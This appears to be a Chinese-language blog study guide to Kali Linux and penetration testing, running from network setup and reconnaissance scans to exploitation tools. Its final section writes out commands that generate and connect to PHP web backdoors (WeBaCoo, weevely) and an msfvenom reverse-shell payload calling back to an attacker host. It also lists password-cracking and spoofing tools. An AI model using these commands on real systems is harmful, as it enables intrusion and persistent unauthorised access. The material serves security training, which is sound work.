kali-linux知識整理與滲透測試指南

Kali Linux入門與介紹

一、kali的主要特色

kali 官網 :https://www.kali.org/
基於Debian的Linux發行版

集成300多個滲透測試程序

支持絕大多數無線網卡

二、網絡服務配置

1. 設置固定ip:

虛擬機的網絡設置文件

/etc/network/interfaces

在這裏插入圖片描述

2. 臨時ip配置命令
ifconfig eth0 192.168.43.100 netmask 255.255.255.0					//ip
route add default gw 192.168.43.1									//網關路由
systemctl restart networking.service								//重啓網絡恢復
3. dmesg命令的作用:

查看無線網卡硬件信息,查看內核環形緩衝區信息
在這裏插入圖片描述

4. 開啓和關閉網絡的命令

這裏使用systemctl 或者 service 命令均可,語法基本相同,老版本的kali可能只支持service命令
常用的語法有:

start			//開啓
stop			//關閉
restart			//重啓
5. kali中常用服務

http(apache)

service apache2 start //啓動
service apache2 stop //關閉
service apache2 restart //重啓
update-rc.d apache2 defaults //自啓

mysql

service mysql start //啓動
service mysql stop //關閉
service mysql restart //重啓
update-rc.d mysql defaults //自啓
mysql -u root -p //登錄

ssh

service ssh start //啓動
service ssh stop //關閉
service ssh restart //重啓
update-rc.d ssh defaults //自啓

在這裏插入圖片描述

三、系統更新

命令
apt-get update
apt-get upgrate
apt-get dist-upgrade

PS:最新版的kali也就是2020年版兼容性並不好,而且移除了許多我常用的工具,個人不推薦更新,有需求除外。

aptcache search <包名>			//在軟件倉庫查找某個軟件包的名稱
apt-get install <包名>			//指定安裝某個軟件

滲透測試概述

一、五個測試框架的方法論

開源安全測試方法論

信息系統安全評估框架

開放式web應用安全項目

web應用安全聯合威脅人類

滲透測試執行標準

二、通用滲透測試框架

範圍界定

信息收集

目標識別

服務枚舉

漏洞映射

社會工程學

漏洞利用

提升權限

訪問維護

文檔報告

在這裏插入圖片描述

滲透測試實施步驟

一、信息蒐集

whois命令的定義、使用和用法

whois example.com
該命令會返回example.com域名註冊人信息和聯繫方式等域名的詳細信息。
官網:https://who.is/

在這裏插入圖片描述

DNS 記錄分析
1. host
host www.example.com

無參數時只返回ip地址(ipv4)

host -a www.example.com

加入參數-a ,返回所有dns記錄

在這裏插入圖片描述

2. dig
dig example.com

無參數時只返回A記錄地址(IPV4)

dig example.com any

加入參數any,返回所有dns記錄

在這裏插入圖片描述

3. dnsenum
dnsenum example.com

默認情況下,會返回主機地址、名稱解析服務器和郵件服務器的IP地址信息
如果你有字典,可以用此工具爆破子域名
dnsenum -f dns.txt example.com

在這裏插入圖片描述

4. dmitry
dmitry -iwnse targethost

進行whois查詢

在Netcraft.com的網站上挖掘主機信息

搜索所有可能的子域

搜索所有可能的電子郵件地址

在這裏插入圖片描述

dmitry targethost -f -b

做簡單的端口掃描(很慢,而且不怎麼好用,不推薦)

在這裏插入圖片描述

路由信息
1. tcptraceroute
tcptraceroute example.com

在已知目標web服務器開放了使用TCP協議的80端口。使用上述命令可以獲取從本機到目標主機完整的路由信息。

ps:容易被防火牆攔截

2. tctrace
tctrace -i eth0 -d example.com

指定網卡eth0獲取本機和example.com之間的路由信息
在這裏插入圖片描述

目標識別

博客分欄 滲透測試常用工具-目標識別

1. ping
ping -c 10 example.com
ping -c 10 192.168.123.256

-c參數指定發送數據包的數量(執行次數)

-i 參數指定源地址或網絡接口(網卡)

-s 指定數據包大小(默認大小64字節)
在這裏插入圖片描述

2. arping
arping 192.168.56.102 -c 1

查看局域網內主機是否在線,-i參數指定網卡,-c參數指定次數

在這裏插入圖片描述

3. fping
fping 192.168.1.1 192.168.1.100 192.168.1.107

檢測這三臺主機是否在線

fping -g 192.168.56.0/24

檢測整個網段

fping -r 1 -g 192.168.1.1 192.168.1.10

參數-r指定重試次數,默認爲3

fping -s www.baidu.com www.cqcet.edu.cn www.csdn.net

-s 參數查看多個目標的統計結果

在這裏插入圖片描述

4. hping3

主要用途

測試防火牆規則

測試入侵檢測系統/IDS

測試TCP/IP模式的安全漏洞

hping3 -0 192.168.56.101  發送原始IP包(--raw-ip)
hping3 -1 192.168.56.101  發送ICMP包(--icmp)
hping3 -2 192.168.56.101  發送UDP包(--udp)
hping3 -8 192.168.56.101  進入掃描模式(--scan)
hping3 -9 192.168.56.101  進入監聽模式(--listen)
5. nping
nping --tcp-connect -c 1 -p 22 192.168.56.102  基礎的tcp-connect功能
nping --tcp -c 1 -p 22 192.168.6.102           TCP模式
nping --udp -c 1 -p 22 192.168.6.102           UDP模式
nping --icmp -c 1 -p 22 192.168.6.102          ICMP模式(默認模式)
nping --arp -c 1 -p 22 192.168.6.102           ARP/RARP模式
nping --tr -c 1 -p 22 192.168.6.102            traceroute模式
6. nbtscan
nbtscan 192.168.1.1-254

搜索局域網內各個主機的NetBIOS名稱

nbtscan -hv 192.168.1.1-254

-hv參數查看運行了那些服務

在這裏插入圖片描述

7. uniscan

操作系統識別

1. p0f

可以識別以下幾種主機

連接到您主機的機器(SYN模式,即默認模式)

主機可以訪問的機器(SYN+ACK模式)

主機不能訪問的機器(RST+模式)

可以監控到其網絡通信的機器

p0f -f /etc/p0f/p0f.fp -o p0f.log

開放80端口讓靶機訪問
在這裏插入圖片描述

2. nmap
nmap -O 192.168.43.89			//操作系統識別

識別率並不是很高
在這裏插入圖片描述

服務枚舉

滲透測試常用工具-amap服務枚舉

網絡掃描

1. nmap

主要功能

主機探測

端口掃描

服務/版本檢測

操作系統檢測

網絡路由跟蹤

Nmap腳本引擎

nmap -sT 192.168.43.89							//TCP連接掃描
nmap -sS 192.168.43.89							//SYN掃描
nmap -sN 192.168.43.89 							//TCP NULL掃描
nmap -sF 192.168.43.89  						//TCP FIN掃描
nmap -sX 192.168.43.89  						//TCP XMAS掃描
nmap -sM 192.168.43.89  						//TCP Maimon掃描
nmap -sA 192.168.43.89  						//TCP ACK掃描
nmap -sW 192.168.43.89  						//TCP 窗口掃描
nmap -sI 192.168.43.89  						//TCP Idel掃描 
掃描選項
-p 端口範圍 :只掃描指定的端口
-F (快速掃描):僅掃描100個常用端口
-r (順序掃描):按照從小到大的順序掃描端口
--top-ports <1 or greater> 掃描nmap-services裏排名前N的端口
目標端口選項

交互(屏幕)輸出
正常輸出(-oN)不顯示runtime信息和警告信息
XML文件(-oX)生成的XML格式文件可以轉換成html文件,也可以被圖形用戶界面解析,便於導入數據庫
生成便於Grep使用的文件(-oG)

輸出選項

-T 指定時間排程控制的模式

時間排程控制選項

nmap -sV 192.168.43.89 -p 22    				//服務版本識別
nmap -O  192.168.43.89          				//操作系統檢測
nmap -Pn 192.168.43.89          				//禁用主機檢測
nmap -A  192.168.43.89          				//綜合掃描
常用選項
-sC 或 --script = default         啓動默認類NES腳本
--script <filename>|<category>|<directories>  根據指定的文件名、類別名、目錄名,執行相應的腳本
--script-args<args>               給腳本指定參數
腳本引擎
-f 使用小數據包
--mtu 調整數據包的大小
-D    指定假IP
--source-port<portnumber>或-g  模擬源端口
--data-length 改變發送的數據包的默認長度
--max-parallelism  限制nmap併發掃描的最大連接數
--scan-delay<time>  控制發送探測數據的時間間隔

edit

2. Unicornscan

-m U 檢測UDP協議
-m T 檢測TCP協議

-Iv 查看詳細輸出

-r 調整發包速率

unicornscan -m U -Iv 192.168.43.89:1-65535 -r 10000
unicornscan -m T -Iv 192.168.43.89:1-65535 -r 10000

在這裏插入圖片描述

SMB枚舉

1. nbtscan
nbtscan 192.168.56.1-254

搜索192.168.56.0內各個主機的NetBIOS名稱

nbtscan -hv 192.168.56.102

查看192.168.56.102這臺主機的網絡服務
在這裏插入圖片描述

SNMP枚舉

滲透測試常用工具-ADMsnmp進行snmp分析

1. onesixtyone
onesixtyone 192.168.56.102

搜索主機支持的SNMP字符串

onesixtyone -d 192.168.56.102

進行更加細緻的掃描

2. snmpcheck
snmpcheck -t 192.168.56.102

蒐集SNMP設備的有關信息

VPN 枚舉

1. ike-scan
ike-scan -M -A -Pike-hashkey 192.168.0.10

探測、識別、測試一臺IPSec VPN服務器

-M 將payload的解碼信息分爲多行顯示,以便於閱讀

-A 使用IKE的aggressive mode

-P 將aggressive mode的與共享密鑰哈希值保存爲文件

漏洞映射

一、漏洞類型

本地漏洞

遠程漏洞

二、漏洞掃描器

OpenVAS

Cisco分析工具

Cisco Auditing Tool(cat)

運行:

 cd /usr/share/
 CAT --help

命令:
-h 指定主機名(在掃描單個主機時使用該選項)
-w 指定字典名稱(以猜測團體字符串)
-a 指定密碼列表(以窮舉密碼)
-i 及[ioshist](檢查該IOS在歷史上出現過的bug)

在這裏插入圖片描述

Cisco Global Exploiter(cge)

運行:

 cd /usr/bin/
 cge.pl

命令

cge.pl 10.200.213.25 3

在這裏插入圖片描述

第三類測試

WebCrack

FUZZ(模糊)分析工具

BED(待續)

JBroFuzz(待續)

三、SMB分析工具

ImpacketSamrdump

(待續)

四、SNMP分析工具

SNMP Walk

(待續)

五、Web程序分析工具

數據庫評估工具

DBPwAudit(待續)

sqlmap

SQL Ninja(待續)

Web應用評估工具

Burpsuite (待續)

nikto

Paros Proxy(待續)

W3af(待續)

WafW00f(待續)

Webscarab(待續)

漏洞利用

MSFConsole
MSFConsole_常用模塊
MSFConsole_後滲透模塊

提權

一、分類

縱向提權

橫向提權

二、利用本地漏洞

三、密碼攻擊

基於所知
基於所有
基於特徵
離線攻擊
在線攻擊

hash-idntifire 判斷hash算法 — 只有知道被測系統採用的hash算法,才能使用密碼破解

hashcat 多線程密碼破解,完全利用CPU

RainbowCrack 利用彩虹表破解,空間換取時間

samdump2 破解windows系統賬號的密碼

John 破解hash,破解DES crypt類型優異

Johnny John的圖形化版

Crunch 創建密碼字典,可用於暴力破解

Ophcrack 基於彩虹表的 LM/NTML類型

在線破解工具

CeWL 爬蟲模式在指定URL上收集單詞的工具,把收集到的單詞納入字典,提高爆破命中率

Hydra 在線破解密碼

Medusa 在線破解密碼

四、網絡欺騙工具

網絡嗅探與網絡欺騙

DNSchef

替DNS服務器對被測主機進行DNS回覆,把域名解析爲攻擊者管控的IP,從而讓攻擊者的主機扮演真正的服務器的角色

arpspoof

在交換網絡中輔助進行網絡監聽的實用工具

Ettercap

在LAN中進行中間人攻擊的工具

五、網絡嗅探器

Dsniff

tcpdump

Wireshark

訪問維護

一、操作系統後門

Cymothoa

Intersect

Meterpreter

二、隧道工具

dns2tcp
iodine
ncat
proxychains
ptunnel
socat
sslh
stunnel4

三、創建web後門

WeBaCoo

命令:
-g 製作後門代碼
-f 後門所需的php功能:system(默認)/shell_exec/exec/passthru/popen
-o 輸出 指定生成的後門程序的文件名
舉例:

webacoo -g -o test.php  使用默認配置生成php後門程序
webacoo -t -u http://192.168.43.89/test.php

連接到後門程序
在這裏插入圖片描述

weevely

生成混淆PHP backdoor,並將後門保存爲display.php

weevely generate password display.php
weevely http://192.168.43.89/display.php password

訪問被測主機的webshell

在這裏插入圖片描述

PHP Meterpreter

-p 指定payload爲php/meterpreter/reverse_tcp

-f 設置輸出格式

lhost 爲攻擊機地址
lport 爲攻擊機端口

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.43.180 LPORT=1234 -f raw > a.php

在這裏插入圖片描述

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章